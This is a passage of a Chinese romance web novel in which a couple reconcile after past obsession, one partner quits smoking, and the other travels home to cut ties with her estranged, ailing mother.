望着电梯数字不断向上, 安迟叙不曾眨眼, 等那红光闪花眼。 再弯出一个浅浅的笑。 大半年过去。她不再是那个低着头,回避着晏辞微这个“前任”,怕她们再有牵扯的小小猫了。 安迟叙来得突然,也没通知晏辞微。 最近两个人经常做这种事,临时起意就去找对方。可能没什么正事, 只是想抱抱。可能只是思念。 也有可能是工作上的事。晏辞微不能算安迟叙的直属上司, 找她的时候不多。通常只是来她们这一层找策划总监, 顺道看安迟叙一眼。 安迟叙推开门, 就见晏辞微坐在位置上, 嘴里叼着水果烟,撑着头,没个正形,似有苦恼。 听见吧嗒的关门声, 晏辞微才惊醒, 抬眸看见她的团团笑吟吟朝她走来,赶紧掐了烟。 “也不跟我说一声。”那水果烟刚点着没多久。晏辞微也直接撇了, 扔进垃圾桶。 起身开窗通风, 再打开空气净化器,动作带着急切。 “团猫,去门口等我几分钟。我们不在这儿, 下去走走。” 一时半会儿烟味散不掉,晏辞微也不想安迟叙多吸,看她贴过来, 小幅度抵着她的背,把她送出了办公室。 “我不能进休息室?”安迟叙一直好奇那个朝她紧闭的门。 “一样的。去门口,电梯口也行。乖猫,我会很快的。”晏辞微关上门,不带犹豫。 安迟叙被锁在门口了,头脑转着圈。 她虽然知道晏辞微抽过水果烟。 但一直没看见第二次,以为晏辞微早戒了。 看来只是不让她闻见。 十分钟之后晏辞微出了办公室,这才敢抱住安迟叙。 安迟叙看她换了衣服,皮肤也带着香,忍不住动鼻轻嗅。 “清洁用的。”晏辞微头发也抹过水,发尾有些润。 “好闻。”安迟叙犯懒,干脆伸手要她抱。 晏辞微把她搂紧,几乎拖着,带她进了电梯,去楼下散步。 “团团,早跟我说一声多好。”早说她就不抽了。晏辞微低头,把自己埋进安迟叙的颈间。 “你这个又不臭。”安迟叙没说过介意,当然,再往前推几年,她也不知道。 “什么时候开始抽的?都不告诉我。”她一时忘了项目的事,被晏辞微一个拥抱暖了身子,软下去,缠着晏辞微发腻。 说是散步,两个人也就找了个位置坐下,还是抱在一起比较好。 “大一。学生会的人常抽,为了融入进去,就跟了。后面是……觉得很解压。”避了这么久,还是让安迟叙逮到了。 “我没有瘾。只是偶尔压力大了,想快速缓解一下。”解释的声音也很轻柔。 晏辞微在这种事上一直做得很好。比春天更甚,真正的温柔,无形中包裹安迟叙的全部。 “辛苦了,姐姐。”年底事就是多又杂。 安迟叙还是个新入职的小员工,她们组最近也忙。都是琐事,还不是项目,更消耗人精力。 “这会儿想继续也可以。我不介意啊。”安迟叙挠挠晏辞微的脸,把她粘连的发丝别到耳后,旋即贴上她的脸颊轻蹭。 晏辞微包容她,她自然也想还这一份爱。 圈着她腰的那双手收紧了点。 “不行,团团。这个对身体不好。”这也是为什么晏辞微一直背着安迟叙抽。 不告诉她并非隐瞒,只是不想让她也吸到。 “那你怎么还抽?”安迟叙看她执拗,反而笑出声,坐回她腿上对着她的眼,把她忽闪的眸光拉回来。 “压力这么大吗?要不要每天抽空休息一下?或者周末我们去约会?”安迟叙还真不知道晏辞微以往如何解压。 她们在一起的时候晏辞微向来事事从容淡定。 优雅如竹,很少见她焦虑恐慌,或者愁苦,到了不得不寻求外物的时候。 “可是只要抱抱你,就没那么难受了。”晏辞微说着把安迟叙往自己的怀里揽回来。 安迟叙一直是她的糖。当然也是她的解药——任何烦心事,只要安迟叙在她身边,就算不上烦恼,都可以迎刃而解。 她把安迟叙抵在胸前,又仰头。 桃花眼满含秋水。闪烁纯粹。黑眸也可以如此亮,秋光还会波动。 好像真在一呼一吸间释放了压力。仅限抱着安迟叙的时候。 “那姐姐可以多抱会儿。”安迟叙哪儿会拒绝,温顺的贴了下去,叫晏辞微抱了个彻底。 抱着也不安分。晏辞微一会儿蹭她耳垂,一会儿亲她脸旁。还若有若无咬她碎发,挠她痒。 安迟叙忍了又忍。想着她是在解压,没一口咬她脸上。 最后在晏辞微掐上她腰时忍不住。 咬住晏辞微发笑的鼻尖。牙齿都跟着晏辞微的笑一同颤抖。 “得寸进尺。”安迟叙抬手点过晏辞微的鼻尖,把自己咬出来的牙印抹平。 鼻尖真不是个好地方,安迟叙都不敢用力,怕留下痕迹。 待会儿晏辞微去开会,谁都能看见她的杰作,多羞人。 “可是小猫这么主动,不就是想要姐姐的欺负吗?”晏辞微吸到猫了,一毫米的脸皮都不要,丢的老远,还让安迟叙踩两脚。 安迟叙拿手掌拍她胸口两下,想从她身上下来。 又被她捞了回去,好好亲。 安迟叙沉下去,捧住晏辞微的后脑勺。 一点点把掌控权捏稳。 含着晏辞微的唇瓣,舔舐、吮.吸。 …… “可以的话,姐姐还是戒一下吧。” 吻过,安迟叙抚摸着晏辞微的头发,慢慢和她呼吸同频,确认她真释放完压力。 才卷着她的耳发,认真与她商量。 “既然舍不得我伤身,为什么还要自己伤自己呢?我也会心疼你。”蒙过晏辞微疑问的眼光。 安迟叙凑近些,低声解释。 好像在哄晏辞微。 “也不是很频繁。”晏辞微想她确实可以戒了。 以后她的团团不会离开她,有什么压力,让团团抱抱她就好。 嘴上没饶人。 晏辞微在以自己的方式讨要安迟叙的爱。 除了纵着她,安迟叙还能怎么选。 她是姐姐,是主.人,是妈咪,但也是安迟叙的爱人。 “可是我舍不得啊。我也不想你伤身体。”安迟叙顺着晏辞微的毛发。好像在摸不会突然扎伤她的好刺猬。 带刺是刺猬的天性,是她生存的壳儿。可面对爱人,刺猬也有柔软的肚皮。 这会儿肚皮被安迟叙一点点揉舒服。晏辞微靠在安迟叙怀里,笑得正欢。 她想咬安迟叙。想亲,想…… 最后她却掉了一颗眼泪。 无声的泪是欢喜,落在安迟叙掌心。 安迟叙连她一滴眼泪都会接住,再吻着还回来。 “给我做什么?”该回各自岗位了。 安迟叙收到晏辞微从衣兜里摸出来的一包水果烟。 “最后一包了。你处理掉,我就不再买了。”晏辞微答应安迟叙要戒。 本来也没瘾。晏辞微断的痛痛快快。 安迟叙把盒子揉皱扔进垃圾箱。挽着晏辞微从小电梯上楼。 看着安迟叙在17楼离开,晏辞微抿起一个笑,跟回过头的安迟叙道别。 电梯缓慢上行。仅剩的一个人闭上眼深呼吸。 也许她对水果烟有点瘾。 只是这点瘾,被更深的瘾取代、屏蔽。 有一个人叫她上了瘾。这辈子都不可能戒断。 她也甘之如饴。只求陷得更深。 安迟叙到位置上才想起来,她好像忘给晏辞微看起稿了。 算了。她又有了新想法,自己再改改。这一版,晏辞微肯定会满意了。 * * * 第二次组会推进顺利。 晏辞微也不像以前,非要指定安迟叙做,挺客观的分配了任务,让安迟叙和另一个的版本结合,之后重新给正式版的方案。 改着方案就步入了二月,春节便快到了。 安迟叙接完这个电话,靠着栏杆吐出一口浊气。 真是造孽。 “怎么了,愁眉苦脸的。”师晚音也在窗边放松,看她叹息成这样,关心了一句。 何语檐蹭在安迟叙旁边也偷闲,闻言,侧头看向她。 “家里的事,烦。”能让安迟叙露出这个表情的,只有安予笙。 这次安予笙竟找到了遇少微。想问安迟叙怎么又走了,想让安迟叙回来。 末了难免吵架,遇少微把电话掐断,跟安迟叙说,安予笙这次病的有些重,和上次手术不一样,是长期慢性的,不好恢复。 春节都不一定能出院。这是遇少微复述的医生原话。 “母亲?亲戚?”何语檐就喜欢八卦。 她头被安迟叙敲了下。 “我可能会请假两三天。师姐,能行吗?”安迟叙才转向师晚音。 “去呗。真有急事再续都行。家事重要。”师晚音很好说话,就让安迟叙保持联系,记得看邮件。 安迟叙还没出差过,第一次在外用集团内部网络,不大熟练。师晚音还教了她好几下,她才成功连上了。 其实也不是很急。安迟叙记好方法,想着。 她不过是被烦到,想回家断个亲。 让安予笙歇了再来找她的心思。 尤其是通过遇少微那边。 安迟叙想着景桐人很好,她家两个妹妹也可爱。没想和那边断。 别因为安予笙的事,迫不得已和c城所有人断联。 那也划不来。 安迟叙准备买票了,想了想。 下班时去了25楼。 晏辞微并不在办公室。办公室门虚掩着,轻推就开了。 安迟叙入内关上门,走过会客的沙发,看见茶几上摆了一碗茶水,似乎还在冒烟,是刚招待过客人。 空气里也有陌生的香水味。 安迟叙挑着眉头走到晏辞微的书桌前,就看见显眼的红卡纸,和之前黏过摄像头的痕迹。 抚过摄像头曾在的位置。 原来自己以前是在这儿这样看着晏辞微。 难怪角度这么奇怪。晏辞微一定是故意,让自己看着一眼,又不许自己看得清楚。 若隐若现一般钓着自己。 这人心机多深啊。安迟叙没再多翻,走向那紧锁的休息室。 她猜休息室里也装了晏辞微见不得她的心机。 安迟叙伸出手按在扶手上。 好奇,想进。 又在打开前退缩,只有食指指尖留在发冷的扶手上。 吧嗒一声。 安迟叙还以为自己误触,打开了休息室的门。 身后忽然多了一道影。 从下往上的,剥夺走安迟叙的体温。 也黑了安迟叙的视野。 晏辞微的身影挡住办公室中心那盏明光。 幽幽的,贴上安迟叙的背。 头悄悄搭上她的肩膀。 带来些湿哒哒的感觉。 屋外下雪了。安迟叙嗅到雪雨的腥寒。 “很好奇吗?”晏辞微的手抚过安迟叙的指尖。 旋即掌心下压,贴合她的手背。 严丝合缝的,好像晏辞微的手掌就是照着安迟叙的手背长的。 安迟叙稍稍侧头。 她已经不再会被这样的晏辞微吓到。 反而怦然一颗心。 许久未见如此神秘鬼魅的晏辞微。 别有一番魅力。 “你好像一直避着我。”安迟叙声音变慢了,似乎被鬼气传染。 “也是我最后的秘密。”晏辞微掌着安迟叙的手,就这么打开了休息室的门。 原来她没有上锁。 一溜细小的缝吹开安迟叙的眼。 安迟叙眨过,浑身多了湿冷的压力。 晏辞微抱住她,替她推开门。 在允许她睁眼之前,斯磨她的耳根。 “说好,不要被吓到。”打开这间休息室。就打开了最后的隐瞒。 现在晏辞微的一切都在安迟叙眼前了。 安迟叙被猩红刺痛眼,却答应了晏辞微,没有闭眼,没有战栗。 只是仰头。 看见那件属于晏辞微的红婚服。 如吊死鬼一般,被高高挂在天上。 一半贴着天,一半贴着墙。好像一个人吊死多年,被s市的潮湿和梅雨拧成霉菌,松松垮垮的贴在墙上,靠近都是陷阱,一踩就能把你全身化作腐水,融入其中。 冬日天气阴沉。雪雨交加,窗外透不来多少光,冷调暗淡了婚服的红,像氧化后的血,已失去鲜活很多时了。 安迟叙朝那婚服迈了一步。 休息室没开暖气,温度骤降。她忍不住一个激灵。四肢被晏辞微锁的更紧。 安迟叙朝四周望去,才看见一个衣柜。 里面满满当当装着分开这三年,给她准备的应季款式。 从头到尾。帽子首饰鞋都有。明明不该有人穿过,却都皱了旧了。 衣柜上还贴着她的大头照。 好像晏辞微会把这些衣服取下,每一天每一天的搭配给不在身边的安迟叙。试穿,就好像她们还生活在一起。 又看见一个保险柜。从上到下。从22岁到15岁。 那里锁着安迟叙给晏辞微全部的礼物。 摆放整齐,每一层都坐着一只晏辞微的布娃娃。 好像每一个年纪的安迟叙都有自己的晏辞微,好像晏辞微连她送的礼物都不曾冷落。 只是墙壁、地板,甚至天花板。 都泼着无规律的红颜料。像凶案现场,像过年时杀了一百只猪,像屋子也死了,有谁剖开房屋的动脉,才会有这么大的出血量。 像遮掩着什么痕迹。 安迟叙走近了些。动作不是那么容易。 晏辞微抱着她好像拖着她,力道大得如同怨鬼,要拽着这唯一的执念下冥河。 可安迟叙还是凑近了。 她看见那些个红颜料之下,盖着一串一串的。 一模一样的字。 ——为什么 可能这是晏辞微在晏家老宅常住的休息室。可能分开的那两年,晏辞微一直在这间办公室监视她的恨。 可能晏辞微是裴绮玲的女儿。她们的怨恨长得如此相像。晏辞微只要一个晚上就能复刻妈咪的作品。 被安迟叙丢下的晏辞微,22岁的晏辞微,最不幸的晏辞微。每一天每一分每一秒都在对自己发问。 为什么? 为什么她们会分开。 为什么安迟叙不要她。 为什么年少的承诺不能是永远,为什么要抛下她一个。 为什么,为什么?为什么?为什么为什么为什么…… 两年多,近八百个日夜。 没有一刻晏辞微不在想。 她的疯狂向来盛大又可怖。 却唯独不敢叫安迟叙发现。 藏到现在,她们已经重新拥抱彼此。 晏辞微温柔。连苦闷的疯也不要安迟叙来愁来哄。她一个人就能处理好。 安迟叙颤抖着手,迟迟的迎上晏辞微的怨恨。 “我现在有答案了。”晏辞微却及时,抵住安迟叙的手指。 不让她碰到肮脏的墙壁。 晏辞微不再有怨恨。纯粹的爱温和又体贴。 她抱着安迟叙转过身,连那一点怨气都不想让安迟叙看。 “……姐姐受苦了。”安迟叙真没被吓到。 恨而已。她早知道分手时晏辞微会恨她。再狠的恨她都能忍,那是她应得的,她不怕恨。 可能更怕晏辞微的不在意。安迟叙也没有她想象中的淡定。 只是没想到她们能一起战胜那份恨的苦。 “不算什么。”晏辞微蒙住安迟叙的眼,鼻尖轻轻蹭着她的脸。 而后慢慢的,试探着。 碰上她的唇。 被安迟叙激烈的咬住。 亲吻又急,又狠。 恍惚让晏辞微错当成恨。 掌心多出一条泪痕后,晏辞微才发现。 安迟叙一直爱她。 她也一样。 爱和恨多像,叫她们两个人都弄错了。 晏辞微松手,让安迟叙看清她。 而后扯下那件挂了三年的旧婚服。 “想看我穿上吗?”虽说很旧了,晏辞微有新的定制。 但她三年体型没有变化太多。依旧合身。 安迟叙点头之前,手就解开晏辞微的外衣扣了。 抚过婚服的布料。和给自己准备的那条是同款。 安迟叙有过经验了,掌着晏辞微的腰,教她脱穿。 一丝一缕的,帖服在她爱人身上。 三年前是逃离。 这一次,是亲手给她的爱人换上迟来的婚服。 再,一片一片撕碎。 …… 保险柜里的小晏辞微都成她们互动的道具。 晏辞微被自己缝的,小小的自己盯着。 羞得眼里乱飞。 抓着安迟叙求饶。 安迟叙只管撕她这件用不上的婚服。 撕得像战损,像受伤。 多少有些凌虐的美。安迟叙一个没忍住。 天都黑了。 她来的时候是下午。这会儿都不知道几点了。 安迟叙好歹把晏辞微抱了出去。休息室里还有淋浴间,给她没力气骂她的姐姐冲洗。 “……不想*了。”晏辞微好不容易缓过来,看安迟叙还抱着她,一声啜泣,咬下去。 “给你清理,姐姐。”安迟叙无奈抱住她。 晏辞微嘴上这么说。身子还在往安迟叙怀里钻。 怎么停嘛。 “回,家……”晏辞微断断续续的敲着安迟叙的肩膀。 才让她停了手。 休息半晌。 晏辞微抿着安迟叙兑给她的热水,晕晕的往她身上倒。 她们真的一起回家了。安迟叙问过,今天可以相伴过夜。 但安迟叙打算第二天就出发去c城。 猛地一惊。 安迟叙摸过鼻子发讪。 她又把正事忘了。 “嗯?”晏辞微靠着安迟叙,头贴的紧。 心情是前所未有的舒畅。 安迟叙摸摸她的头,暂时没有说话。 “有件事,姐姐。”到了家,亲热完,安迟叙才开口。 “我今天其实是来跟你说这个的……不过你应该也知道了吧?” 安迟叙猜晏辞微一直在监控安予笙的状态。肯定知道她又病重了。 “啊……那个啊。”晏辞微的反应卡顿了下。 而后掌上安迟叙的手。 安迟叙手还没洗呢,黏糊糊的。 晏辞微不管不顾的撑开,和她手指相扣。 “所以,你要去看她吗?”声音静静的。 不再像动物的应激。 “不是去看。但我要回去三天。”安迟叙回扣晏辞微的手,也紧紧的牵。 汗都腻在一起。 安迟叙从晏辞微的掌心听见她的心跳。 晏辞微的心跳也很沉静,没有剧烈的波动。 安迟叙竟有些猜不透她的想法。 她却也不如以前那般急切,恐惧。 她们有的是时间,她还可以等。 哪怕像这样,过半年一年。都很好很好。 安迟叙闭上眼,往晏辞微肩膀上贴。钻进她怀里。 与她协同呼吸着。 她们的节律一致,潮汐一致。现在呼吸也一致,就要融为一体。 在安迟叙迷迷糊糊睡着前。 晏辞微开口了。 “那,如果她欺负你,记得告诉我。”不是阻止。 晏辞微亲过安迟叙的额头,给她擦过手,盖好被子。 两个人相拥而眠。 一同进入安定的桃花源。 …… 翌日早,晏辞微送安迟叙启程。 安迟叙定了上午的航班,还有时间吃早饭。 吃过早饭上了晏辞微的车。 晏辞微给她收了一包行李,还清点了能带给景桐和妹妹们的礼物。 昨夜雨雪交加,今早又出了冬阳。机场地上还散着白茫茫的雾,透过玻璃窗向外望,天蒙蒙发灰。 s市的冬日不那么好过,冷又潮,过年那几日又有雪。今年提早了点,不过幸好没有堆积,航班不至于延误。 晏辞微陪着安迟叙在登机口等待,陪着她排登机的队。 两个人手一直牵着,不怎么说话,肩并肩。 直到队伍排到底。 晏辞微就要送她离开s市。 安迟叙回头一步。 杏眼装着圆圆的光。她想要晏辞微一个吻。 晏辞微终于笑弯了眼,上前替她整理围巾,指尖轻轻点过她的唇。说她调皮,不给这个吻。 “安心去吧。有我在。” 她在安迟叙身边,所以哪怕安予笙对安迟叙不利,也不会造成伤害。 安迟叙想去,就去吧。 晏辞微会一直陪在她身后。 做她的后盾,托举她。 安迟叙小碎步上前。 吻过晏辞微。 谢谢你一直在—— 作者有话说:下一章就正文完结了,我继续搓,有概率今天内搓出来[撒花](搓不出来那还是明天) 扭曲的恋爱虽然好看,但落到实处,希望大家都能有健康顺利的感情和生活~魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 第80章【正文完】 第80章 正文完结 她们的红蝴蝶从此…… 飞机落地了。 安迟叙没想过短时间内还会回c城。 再看着从小生长的城市, 也没有太多感慨。 她的家已经变成了晏辞微。这次只是来处理私事的。 她原本说订宾馆,但景桐和遇少微说家里还有空房间,让她直接去。 安迟叙真没客气。好歹遇少微也算她妈咪, 生物意义上的。 落地后也是她们接送。 安迟叙拖着行李, 和景桐打着电话联络时想。 其实比起来看安予笙,她更像过年前来给遇少微景桐她们拜年。 礼物都带了呢。 遇少微今天有工作。景桐是自由职业者。家里两个小崽都放假了,跟着妈咪一起来接安迟叙。 安迟叙提前把礼物找了出来,提在手里。出了机场看见她们三个,刚好把礼物给她们。 “安姐姐!这次呆几天啊, 我们过年要一起出去旅游!”遇景看见安迟叙就扒上去, 完全忘了上次晏辞微给的教训。 池开灵还是老样子, 最近换了副眼镜, 多功能可拍照可联网。 看见安迟叙, 终于从随身带的笔记本里抬起头,跟她打了招呼。 安迟叙也没辜负她,给她送了晏辞微当年整理的笔记。 小学霸眼睛都在发光,上车就翻了起来。 哪怕高中笔记对她来说有点太早, 有些东西她还看不懂, 翻过也觉得沾了光。 给景桐和遇少微的是保健产品,日安集团合作商给的, 品质相当高端。 景桐坐在驾驶位, 还关心她。“和你女朋友怎么样了?送这么贵重的,她身份不低吧?” “挺好的,过段时间可能要结婚了。”安迟叙想给她比划一下手上的戒指。 景桐看见她无名指多了一圈。素得发慌, 更叫她担心。“小崽,别被她骗了。有钱人最喜欢骗小姑娘身心。” “不会的。”安迟叙笑出声,刚给晏辞微发完消息。“我和她高中就认识了, 很清楚她为人如何。” 她们闹得再不愉快,再疯狂。安迟叙也没有怀疑过晏辞微的爱和照料。 真要说骗人身心,安迟叙想了想,怎么也得是她骗过晏辞微。 “到时候给你们寄请柬。婚礼不知道在s市还是四九城。要麻烦你们跑一趟咯。”安迟叙把景桐的原话发给了晏辞微。 晏辞微远在四九城,看着消息也是无语。她哪里舍得骗她家团,倒是团团这个没良心,甩了她。 晏明琼想让晏辞微回四九城过年很久了,终于拿出了晏辞微不能拒绝的东西——项目。 给她的公司,而不是给s市分部。 晏辞微勉为其难飞去了四九城,打算赶在安迟叙处理完安予笙的事之前回来。 安迟叙还不知道她离开s市了。一路上一边给她发消息,一边给景桐她们聊近况。 还能听见景桐训池开灵。 “小小崽,你管管你姐姐。让她别在车上看书,伤眼睛。”妈咪训话无果,景桐派出了遇景。 小遇景直接抢了池开灵手里的书,惹来池开灵的怒火。 “妈咪说的。你不准看!”遇景往前拱,把书塞到安迟叙手里。人还想往前排爬。 她被池开灵拉了下腰。 风水轮流转。“妈咪说了,你不能爬到副驾驶。” 俩姐妹互相瞪了一眼,一起别过头,谁也不理谁了。 安迟叙在副驾驶偷偷笑。果然孩子不和,多是老人无德。她看景桐是故意挑拨她俩,逗着玩。 两个妹妹性格也好。隔会儿又和好了,遇景要拉着池开灵看窗外,冷脸妹姐不情不愿的移过去,速度比她的臭脸快。 “你母亲的事,你怎么想?”快到家了,景桐才跟安迟叙提了正事。 要不是安予笙闹到遇少微那边去,景桐也不知道遇少微这位前妻的状况。 她不太清楚安迟叙过去的生活,却很清楚一点。 孩子天生爱母亲,如果都闹到断绝关系这一步,一定是母亲有很严重且不可调和的问题。 安迟叙这次回来,也不像要管的样子。 遇少微是给了安予笙一笔钱,看在之前妻妻一场,也确实是遇少微先出轨的份上。 只是安予笙图的不只是钱。 “先看看吧。”安迟叙也没有和景桐诉苦,讲她的过去。 童年已经是过去的事了。再苦再累,她都放下,向前走了。 真正释怀的事在心上没有波澜。 可能安迟叙只是想回来看看安予笙。三年前安予笙做手术,她就没能回来成。之前安予笙摔倒住院,也没去看。 说不上遗憾,但这件事就跟刺一样扎在心上,是未完成状态,不去拔出,怎么都不会舒服。 可能安迟叙是要和安予笙彻底断绝关系,把话说清楚。 不清不楚的拉黑,离开。这一招显然对安予笙没用。她还会抱着幻想一次又一次的来烦安迟叙,牵连到所有相关的人。 可能……最有可能。 安迟叙是想试探晏辞微。 同样的事第三次。而晏辞微这次没有再阻拦,只是给了她一个收好的行李箱,一个拥抱。 得到那个祝福时安迟叙已经圆满。 此刻听见安予笙的名字,更觉乏味。好像她不该去看安予笙,只是来c城就足够。 再说吧。 安迟叙有些随性了,长到这个年纪,大多数事情在她心上留不下痕迹,都是走一步看一步。 大不了,跟景桐一家吃完饭她就回s市。 也不知道她的姐姐有没有想她。 * * * 遇少微现在是公司高管,给一家人换了大平层。 每个人都有自己的卧室,多出来一个客房,刚好留给安迟叙。 安迟叙来之前一家人才一起做过大扫除。客房干净整洁。 安迟叙收东西的时候,遇景就在旁边哒哒的跑。 她最小,精力最旺盛。不像池开灵接送完困的要找景桐午休。 遇景一直在烦安迟叙,从上问到下。 “姐姐,这个是什么呀?”眼看着遇景把一盒指套翻了出来。安迟叙扶额。 晏辞微给她装这个做什么。难不成她自己用? “大人的东西。”安迟叙一把抓回来,藏到行李箱深处,锁好。 不给遇景玩了。 “大人的东西是什么?妈咪妈妈也天天这么跟我说。”遇景又跟着安迟叙进了浴室。 “那你问她们嘛,我也是小孩。”安迟叙没带过孩子和妹妹,不知道该怎么跟五岁小朋友讲成年人的事。 不过到年纪了,学校会安排性教育。遇景还有六年左右自然会接触到这方面的事。 “可是小孩不应该碰大人的东西啊。” “……” “姐姐为什么不说话?姐姐是不是在骗我?” 遇景吵得安迟叙有点头疼。 安迟叙终于受不了,把遇景提起来,放在了房间外,哄她去找妈咪玩。 然后关门锁门一气呵成。 安迟叙可算明白过来,为什么池开灵急着睡午觉,不理遇景了。 还好遇景不会一直跟着自己。 “妈咪——姐姐~”安迟叙老远听见小朋友的软音,脑袋已经开始痛了。 隔会儿开关门的声音响起,软音没了。安迟叙松一口气。 只是想想还觉得耳根子吵。五岁小朋友看起来这么可爱,叫人的时候也甜甜的,软乎乎一团白圆子。怎么也能这么烦。 就跟……安绾瑶一样。 安迟叙想到她更亲的妹妹,心思微沉。 还是去看一眼吧。 和安绾瑶说清楚。 也看看这一次,安予笙没有能力照顾女儿之后,会怎么办。 安迟叙不知道的是,遇景已经算天使小朋友了。 她被丢出门也不生气记仇,只会吧嗒吧嗒的往另一个房间跑,去找别人玩。 换成五岁的安绾瑶,可能要记仇到下次都不理人。 * * * 一大家子的晚饭,自然是一家人一起做的。 景桐最熟练,一边把她的书呆子大女儿逮出来休息,一边教想学的安迟叙。 还给小遇景安排了不会受伤的活儿,剥虾仁掰豆角,消耗她无限的精力。 遇少微回来的晚,刚好端盘摆盘。 餐桌上遇少微又问了安迟叙一样的话。 遇少微知道的比景桐多多了。她看安予笙也很头疼,看安绾瑶更甚。 安予笙现在没有能力照顾这个小孩,社会机构出手了,最近一段时间正在协商,她们准备带安绾瑶去福利院,或者找领养,好像已经安排好了。 安予笙死活不同意,安绾瑶也不想离开母亲。 大概也是因为这个,安予笙才想到安迟叙,求着情找到遇少微,想和安迟叙联系上。 “我不会帮她养小孩的。”安迟叙听完这些,面色没什么变化。 十年前福利机构发展还没那么好。安予笙和遇少微真养不了安迟叙,安迟叙也只能跟着晏辞微走。 “我自己的小家才刚起步。我来,是想和她断绝关系。”安迟叙终于把这句话说出来。 无论之前做的再决绝,拉黑的再果断。 当着别人的面说出这番话,也是莫大的挑战。 对伦理道德,一些社会能够正常运行的机制,某些人生存的仰仗…… 还有对自己的本心。 “你决定好就行。我们联系你,也是不知道你态度如何。”景桐抢了话头,生怕遇少微再说点不对的话。 遇少微抿着嘴略微心虚。她也没有那么糟糕吧? 好歹她知道她们以前照顾安迟叙照顾的有多差。 只是不放在心上。也不会去打扰安迟叙。 把她当作独立的人看待,能保持关系,就像多了一个朋友。 安迟叙也觉得这样就够了。 如何跟断联已久的亲人相处,她慢慢找到答案。 “下次我不会因为她回来了。”生死都不会了。 安迟叙这次回来甚至没有准备给安予笙的慰问品,更别说钱。 “好。再有情况,我们也不通知你。再吃点?” 景桐人多好啊。 安迟叙偶尔幻想,如果景桐是她妈咪,带她到大。她和晏辞微又会如何呢? 也许……那样她们就不会有可能了。 安迟叙知道晏辞微的情况。十五岁那年,她需要的不是爱人,是一个能彻底掌在手心的宠物。 被景桐养大的安迟叙注定不会甘愿俯首。 罢了。如今本就是最好的安排。 她有一个妈咪,已经足够。 * * * 安迟叙赖到了第二天中午,才姗姗朝安予笙住的医院赶去。 她没让景桐她们陪同。这是她自己的事,理应她自己解决。 而且。如果真的解决不了,被安予笙赖上了。 安迟叙想,她的第一通电话也会打给晏辞微。 安迟叙推开房门。 病床上的女人比夏天见面那次更消瘦。 面色极差,白到不似活人。眼窝都凹下去,也不知道到底什么病。 安迟叙没有去关心,她对上安予笙的眼。 她们有一模一样的杏眼,五官比例也肖似。 可如今任谁再看她们二人,都不会把安予笙看作二十多年后的安迟叙。 安迟叙已经走得很远了。 “你……”安予笙见安迟叙来,眸光骤然点亮,仿佛看见了拽她出深渊的希望。 “我是来和你断绝关系的。”安迟叙却冷着眼。那双遗传自安予笙的杏眼此刻幽静如鬼。 安迟叙有别的母亲,别的监护人,别的家庭了。 她不会再像安予笙,也终于,要亲手中断这一场掌控的代际传递。 “……安迟叙你疯了吗?我是你母亲啊。你怎么可以,怎么可以……”安予笙好不容易坐了起来,气火攻心,急得直咳嗽。 “你是我母亲。我断不了血缘,只能断联系。我不想再给你联系,也不可能帮你养小孩。我有自己的家庭,我并没有被你抚养长大,更没有义务代替你缺失的另一半。” “至于经济,三年里我已经成倍的还给过你。” “……我也不想再说别的原因了,本来早就和你断联了,是你养不了安绾瑶,死皮赖脸,一定要来找我。我高中到大学的七年里你可曾想起过我一次?” 安迟叙对上安予笙气红的眼,不愿多说,多看。 “不要再通过别人找我。我一样会拉黑她们。就这样吧。”不说原因,不说因果循环。 安迟叙猜安予笙听不懂。她永远执拗,冥顽不化,活在自己可悲的世界里,自怨自艾。 安迟叙不知道安予笙如何成长为这个模样,也许她的母亲也很差劲,也许年少失败的爱情让她痛苦,也许失业的打击让她一蹶不振。 只是那些都和自己没有关系。 安迟叙已经转过头。 于是不知道,安予笙最后留给她的不是气火、谩骂,或者迷路人一样的问讯。 只是一行泪。 浑浊的眼泪流过安予笙干枯的皮肤,发皱的脸颊。泡皱她的眼窝,盖过她的斑。 这双眼二十年前也曾意气风发,明亮如霜,像现在的安迟叙那样坚定。 女儿五岁那年,安予笙发誓要给她最好的家庭,更好的童年。而不是她那样毫无关心,还要操劳母亲事业的童年。 安予笙家是开服装店的。很小的时候,她就开始跟着母亲做买卖,陪着她跑饭局,帮她算账。 安予笙没有童年。她从小就是大人,母亲也不管她的精明、算计,只会拿着钱收买她的痛苦,惩罚她的错误。之后钱成为了她们之间唯一的交流工具。 安予笙是在初中认识的遇少微。单方面。 彼时遇少微长得漂亮性格好,在附近街道都小有名气。这样的人来店里买衣服,安予笙也觉得自己跟着沾了光。 后来大学两个人有机会认识。安予笙开始她一整个青春,无人知晓的单恋。 遇少微玩的花,女朋友一周换一个,好像谁也入不了她的眼。直到被人纠缠到家里,勒令结婚。 安予笙知道她的机会来了。 安迟叙可能没问过安予笙为什么要给她起这个名字。 遇少微也没关心过这个小孩。她对世间一切都抱着游戏人生的态度,女儿或者伴侣都不在她心底。 只有安予笙自己知道。安迟叙是她和遇少微迟来的缘,终于讲出来的故事。 以后,也没有机会知道了。 “对不起……”安予笙把人生搞砸了,终于想起来欠女儿的那句道歉。 二十五岁那年怀着安迟叙时的决心,三十岁那年想给安迟叙更好生活的誓言。全都被生活的失意吞没。 可能安予笙在事业那年就死了。 可能安予笙在发现遇少微出轨那天就死了。 她的死在近二十年后终于爆发。化为实质。 再无后悔的余地。 安迟叙已经关上了病房的门,听不见那句没有意义的道歉。 她对上安绾瑶的眼。 她们的眼也无比相似,杏仁似的大,对在一起亮晶晶的。 “姐姐……”安绾瑶有点怕这个姐姐。 从她和母亲争执开始就不喜欢她,再相见又本能的和她亲近。 安迟叙也不喜欢这个妹妹。她们血缘亲近,相似,却过着不一样的人生。 可到头来,安绾瑶也不如意。 十岁的小朋友被迫和母亲分开,谁都看得出来安予笙把她照顾得不好,是她天性活泼开朗才能在学校混的那么开。 偏偏安绾瑶还把安予笙当个宝。果然只有孩子天生爱母亲。 安迟叙对安绾瑶的恨,在下定决心和安予笙断联的那一刻就消散了。 说到底,她对安绾瑶的厌恶来自安予笙。安绾瑶只是她和母亲病症的表现。 “吃饭吗?”安迟叙没有把安绾瑶当听不懂话的小朋友看。 安绾瑶上小学,已经十岁了。和遇景不一样。 她可以把安绾瑶当小大人。被迫离开母亲的孩子总要学着早点长大。 “……姐姐请我吗?”安绾瑶早没了暑期那会儿的明媚,此刻畏畏缩缩的,怯懦的好像十岁的安迟叙。 她躲在柱子后面悄悄看着安迟叙,犹豫不前,身体却本能的朝安迟叙的方向探。 “嗯。我带你吃,走吧,想吃什么?”安迟叙走上前,伸出手。 牵起她无辜的妹妹。 安绾瑶不断回过头,步子紧紧跟着安迟叙。 